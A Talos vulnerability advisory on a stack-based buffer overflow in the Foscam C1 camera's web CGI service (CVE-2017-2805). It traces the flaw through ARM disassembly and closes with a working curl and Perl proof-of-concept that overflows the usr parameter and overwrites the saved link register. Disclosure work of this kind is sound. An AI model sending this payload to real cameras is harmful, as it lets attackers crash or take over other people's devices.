Talos Vulnerability Report

TALOS-2017-0299

Foscam IP Video Camera WebService CGI Parameter Code Execution Vulnerability

June 19, 2017
CVE Number

CVE-2017-2805

Summary

An exploitable stack-based buffer overflow vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera. A specially crafted http request can cause a stack-based buffer overflow resulting in overwriting arbitrary data on the stack frame. An attacker can simply send an http request to the device to trigger this vulnerability.

Tested Versions

Foscam, Inc. Indoor IP Camera C1 Series

System Firmware Version: 1.9.3.17
Application Firmware Version: 2.52.2.37
Web Version: 2.0.1.1
Plug-In Version: 3.3.0.5

Product URLs

Foscam

CVSSv3 Score

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-121: Stack-based Buffer Overflow

Details

Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.

When various services are started, a service will first register a callback using the CMsgClient::registerMsgHandle function [1]. This will register a function to be called [2] when another service dispatches a message of the specified code [3]. An example of this registration process is handled inside the FCGI_Init function of the "CGIProxy.fcgi" service using the following code:

.text:00009F20                       FCGX_Init_1f20
.text:00009F20
.text:00009F20 F0 41 2D E9                       STMFD   SP!, {R4-R8,LR}
.text:00009F24 41 DE 4D E2                       SUB     SP, SP, #0x410
.text:00009F28 08 D0 4D E2                       SUB     SP, SP, #8
.text:00009F2C 05 FC FF EB                       BL      FCGX_Init
.text:00009F2C
.text:00009F30 00 10 50 E2                       SUBS    R1, R0, #0
.text:00009F34 44 01 9F 15                       LDRNE   R0, =str.FCGX_Initfailed
.text:00009F38 05 00 00 1A                       BNE     leave_exit_1f54
.text:00009F3C
.text:00009F3C 40 01 9F E5                       LDR     R0, =gv_theRequest_10b74
.text:00009F40 01 20 A0 E1                       MOV     R2, R1
.text:00009F44 1A FC FF EB                       BL      FCGX_InitRequest
.text:00009F48
.text:00009F48 00 00 50 E3                       CMP     R0, #0
.text:00009F4C 03 00 00 0A                       BEQ     loc_9F60
...
.text:00009F60                       loc_9F60
.text:00009F60 DB FE FF EB                       BL      registerMsgClients_1ad4    ; \
\
.text:00009AD4                       registerMsgClients_1ad4
.text:00009AD4 10 40 2D E9                       STMFD   SP!, {R4,LR}
.text:00009AD4
.text:00009AD8 30 40 9F E5                       LDR     R4, =gp_cMsgClient_bac8
.text:00009ADC 30 10 9F E5                       LDR     R1, =0x40004001                                                ; [3] code
.text:00009AE0 04 00 A0 E1                       MOV     R0, R4
.text:00009AE4 2C 20 9F E5                       LDR     R2, =CgiProxySnapPicHandler_1e38                               ; [2] callback function
.text:00009AE8 3D FD FF EB                       BL      CMsgClient::registerMsgHandle(int,void (*)(char const*,int))   ; [1]
.text:00009AE8
.text:00009AEC 04 00 A0 E1                       MOV     R0, R4
.text:00009AF0 24 10 9F E5                       LDR     R1, =0x3001
.text:00009AF4 1C 20 9F E5                       LDR     R2, =CgiProxySnapPicHandler_1e38
.text:00009AF8 39 FD FF EB                       BL      CMsgClient::registerMsgHandle(int,void (*)(char const*,int))
.text:00009AF8
.text:00009AFC 04 00 A0 E1                       MOV     R0, R4
.text:00009B00 18 10 9F E5                       LDR     R1, =0x3002
.text:00009B04 0C 20 9F E5                       LDR     R2, =CgiProxySnapPicHandler_1e38
.text:00009B08 10 40 BD E8                       LDMFD   SP!, {R4,LR}
.text:00009B0C 34 FD FF EA                       B       CMsgClient::registerMsgHandle(int,void (*)(char const*,int))

After the "CGIProxy.fcgi" service decodes an http request that's forwarded from the http daemon, the service will copy the decoded query into a buffer on the stack [4]. Once this is done, the buffer will then be used to pass the decoded query off to CMsgClient::sendMsg. This will dispatch the query to the shared messaging subsystem using the code 0x4001 at [5]. At this point, the service that handles the specified code will be woken up to handle the specified request.

.text:00009FA8 14 70 8D E2                       ADD     R7, SP, #0x430+lv_dest_41c
.text:00009FAC 08 10 A0 E1                       MOV     R1, R8
.text:00009FB0 07 00 A0 E1                       MOV     R0, R7
.text:00009FB4 34 FC FF EB                       BL      strcpy                     ; [4]
.text:00009FB8
.text:00009FB8 08 00 A0 E1                       MOV     R0, R8
.text:00009FBC C0 FB FF EB                       BL      strlen
.text:00009FC0
.text:00009FC0 CC 30 9F E5                       LDR     R3, =0x404
.text:00009FC4 00 30 8D E5                       STR     R3, [SP]
.text:00009FC8 C8 10 9F E5                       LDR     R1, =0x4001                ; [5]
.text:00009FCC 07 30 A0 E1                       MOV     R3, R7                     ; uri request
.text:00009FD0 01 20 A0 E3                       MOV     R2, #1
.text:00009FD4 04 40 8D E5                       STR     R4, [SP,#4]
.text:00009FD8 08 40 8D E5                       STR     R4, [SP,#8]
.text:00009FDC 0C 40 8D E5                       STR     R4, [SP,#12]
.text:00009FE0 14 04 8D E5                       STR     R0, [SP,#0x430+var_1C]
.text:00009FE4 B0 00 9F E5                       LDR     R0, =gp_cMsgClient_bac8
.text:00009FE8 CD FB FF EB                       BL      CMsgClient::sendMsg(int,char,char const*,int,int,int,char *)

The handler for the code 0x4001 is located within the "webService" process. This is performed by the function at offset 0x1e488, executeCGICmd. Inside this function, the service will call a function that's responsible for authenticating the command specified by the user [6]. Once called, the service will initialize a number of variables on the stack. Each variable will be initialized as a 64 byte buffer. The usrString variable will be initialized at [7], pwdString at [8], and finally cmdString at [9].

.text:0001E5A4                       executeCGICmd
.text:0001E5A4
.text:0001E5A4 F0 41 2D E9                       STMFD   SP!, {R4-R8,LR}
.text:0001E5A8 28 60 80 E2                       ADD     R6, R0, #0x28
.text:0001E5AC 11 DD 4D E2                       SUB     SP, SP, #0x440
.text:0001E5B0 00 80 A0 E1                       MOV     R8, R0
.text:0001E5B4 06 10 A0 E1                       MOV     R1, R6
.text:0001E5B8 C4 00 9F E5                       LDR     R0, =unk_D5A68
.text:0001E5BC 3A 2A 00 EB                       BL      sub_28EAC                          ; [6]
.text:0001E5C0 00 70 50 E2                       SUBS    R7, R0, #0
.text:0001E5C4 27 00 00 0A                       BEQ     replyMsg_1E668
\
.text:00028EAC                       sub_28EAC
.text:00028EAC
.text:00028EAC F0 47 2D E9                       STMFD   SP!, {R4-R10,LR}
.text:00028EB0 00 40 51 E2                       SUBS    R4, R1, #0
.text:00028EB4 00 80 A0 E1                       MOV     R8, R0
.text:00028EB8 46 DF 4D E2                       SUB     SP, SP, #0x118
.text:00028EBC 00 00 E0 03                       MOVEQ   R0, #0xFFFFFFFF
.text:00028EC0 8B 00 00 0A                       BEQ     leaving
.text:00028EC4
.text:00028EC4 D4 60 8D E2                       ADD     R6, SP, #0x138+lv_usrString
.text:00028EC8 00 10 A0 E3                       MOV     R1, #0
.text:00028ECC 40 20 A0 E3                       MOV     R2, #0x40
.text:00028ED0 94 A0 8D E2                       ADD     R10, SP, #0x138+lv_pwdString
.text:00028ED4 06 00 A0 E1                       MOV     R0, R6
.text:00028ED8 02 A8 FF EB                       BL      memset                             ; [7]
.text:00028EDC
.text:00028EDC 54 50 8D E2                       ADD     R5, SP, #0x138+lv_cmdString
.text:00028EE0 00 10 A0 E3                       MOV     R1, #0
.text:00028EE4 40 20 A0 E3                       MOV     R2, #0x40
.text:00028EE8 0A 00 A0 E1                       MOV     R0, R10
.text:00028EEC FD A7 FF EB                       BL      memset                             ; [8]
.text:00028EF0
.text:00028EF0 40 20 A0 E3                       MOV     R2, #0x40
.text:00028EF4 00 10 A0 E3                       MOV     R1, #0
.text:00028EF8 05 00 A0 E1                       MOV     R0, R5
.text:00028EFC F9 A7 FF EB                       BL      memset                             ; [9]

Following the initialization of these variables, the service will then search through the user's query for their respective parameters. This is done by the following code. Each of the functions at [10] will forward to a stub which will call a function [11] to extract the specified value from the query and write it into the buffer. At [11], the service will use the same function to extract the value from the "remoteIp=" parameter and write it into a buffer on the stack.

.text:00028F00 00 30 A0 E3                       MOV     R3, #0
.text:00028F04 05 10 A0 E1                       MOV     R1, R5
.text:00028F08 04 00 A0 E1                       MOV     R0, R4
.text:00028F0C 14 31 8D E5                       STR     R3, [SP,#0x138+lp_funcptr]
.text:00028F10 1B FD FF EB                       BL      extract_cmd                        ; [10]
.text:00028F14 06 10 A0 E1                       MOV     R1, R6
.text:00028F18 04 00 A0 E1                       MOV     R0, R4
.text:00028F1C 0F FD FF EB                       BL      extract_usr                        ; [10]
.text:00028F20 14 70 8D E2                       ADD     R7, SP, #0x138+var_124
.text:00028F24 0A 10 A0 E1                       MOV     R1, R10
.text:00028F28 04 00 A0 E1                       MOV     R0, R4
.text:00028F2C 02 FD FF EB                       BL      extract_pwd                        ; [10]
.text:00028F30 C4 11 9F E5                       LDR     R1, =str.remoteIp
.text:00028F34 07 20 A0 E1                       MOV     R2, R7
.text:00028F38 04 00 A0 E1                       MOV     R0, R4
.text:00028F3C C1 FC FF EB                       BL      extract_param                      ; [11]

Inside the function extract_param, the service will search through the query passed in %r0 for the key specified in %r1. Once found, the function will write the value into the target buffer specified in %r2. First the function will check to see that these query and key parameters are valid by comparing them against NULL at [12]. If this is the case, then the service will search for the key that was specified in %r1. This will return an index which will be used in the loop at [13]. This loop will copy each byte from the query at [14] until an '&' byte is found or the end of the query string is reached. Due to this loop explicitly trusting the length of the query during a copy and the function not being informed of the maximum length of the destination buffer as defined by the caller, this loop can be made to write outside the bounds of the buffer passed as an argument.

.text:00028248                       extract_param
.text:00028248
.text:00028248 00 00 51 E3                       CMP     R1, #0                         ; [12]
.text:0002824C 00 00 52 13                       CMPNE   R2, #0
.text:00028250 F0 41 2D E9                       STMFD   SP!, {R4-R8,LR}
...
.text:00028304                       loc_28304                                          ; [13]
.text:00028304 03 20 D5 E7                       LDRB    R2, [R5,R3]
.text:00028308 26 00 52 E3                       CMP     R2, #'&'
.text:0002830C 00 20 A0 03                       MOVEQ   R2, #0
.text:00028310 03 20 C4 07                       STREQB  R2, [R4,R3]
.text:00028314 03 00 00 0A                       BEQ     loc_28328
.text:00028318 03 20 C4 E7                       STRB    R2, [R4,R3]                    ; [14]
.text:0002831C 01 30 83 E2                       ADD     R3, R3, #1
.text:00028320
.text:00028320                       loc_28320
.text:00028320 00 00 53 E1                       CMP     R3, R0
.text:00028324 F6 FF FF BA                       BLT     loc_28304

The stack frame of the caller allocates 0x40 bytes for each parameter that is to be fetched. If the usrString parameter is overflowed, this would require 0x64 bytes to overwrite the saved link-register that is stored on the stack.

<type 'structure' size=+138>
 [ 0] -138:+4  'var_138'         (<type 'int'>, 4) 
 [ 1] -134:+4  'var_134'         (<type 'int'>, 4) 
 [ 2] -130:+4  'var_130'         (<type 'int'>, 4) 
 [ 3] -12c:+4  'var_12C'         (<type 'int'>, 4) 
 [ 4] -124:+40 'var_124'         [(<type 'int'>, 1), 64] 
 [ 5]  -e4:+40 'lv_cmdString'    [(<type 'int'>, 1), 64] 
 [ 6]  -a4:+40 'lv_pwdString'    [(<type 'int'>, 1), 64] 
 [ 7]  -64:+40 'lv_usrString'    [(<type 'int'>, 1), 64] 
 [ 8]  -24:+4  'lp_funcptr'      (<type 'int'>, 4) 
 [ 9]  -20:+20 'var_20'          [(<type 'int'>, 4), 8]

Exploit Proof-of-Concept

To trigger this request, this can be done with the combination of command line HTTP client and Perl for generating each buffer. Each variable is being allocated with 0x40 bytes, so any value larger than this will overflow each buffer. The following command should trigger the vulnerability by overflowing the "usr=" parameter with 0x40 'A' bytes followed by 0x4 'B' bytes for the "funcptr" variable, 0x1C 'C' bytes for the frame, and then a 32-bit word for the link register. The address specified here should cleanly reboot the device.

```
usrString=`perl -e 'print "A"x0x40'`
pwdString=`perl -e 'print "A"x0x40'`
cmdString=`perl -e 'print "A"x0x40'`
funcptr=`perl -e 'print "B"x4'`
var_20=`perl -MURI::Escape -e 'print "C"x0x1c,uri_escape(pack("L", 0x1d3a0))'`
curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?cmd=${cmdString}&pwd=${pwdString}&usr=${usrString}${funcptr}${var_20}"
```

Timeline

2017-03-28 - Vendor Disclosure
2017-06-19 - Public Release

Credit

Discovered by Claudio Bozzato and another member of Cisco Talos.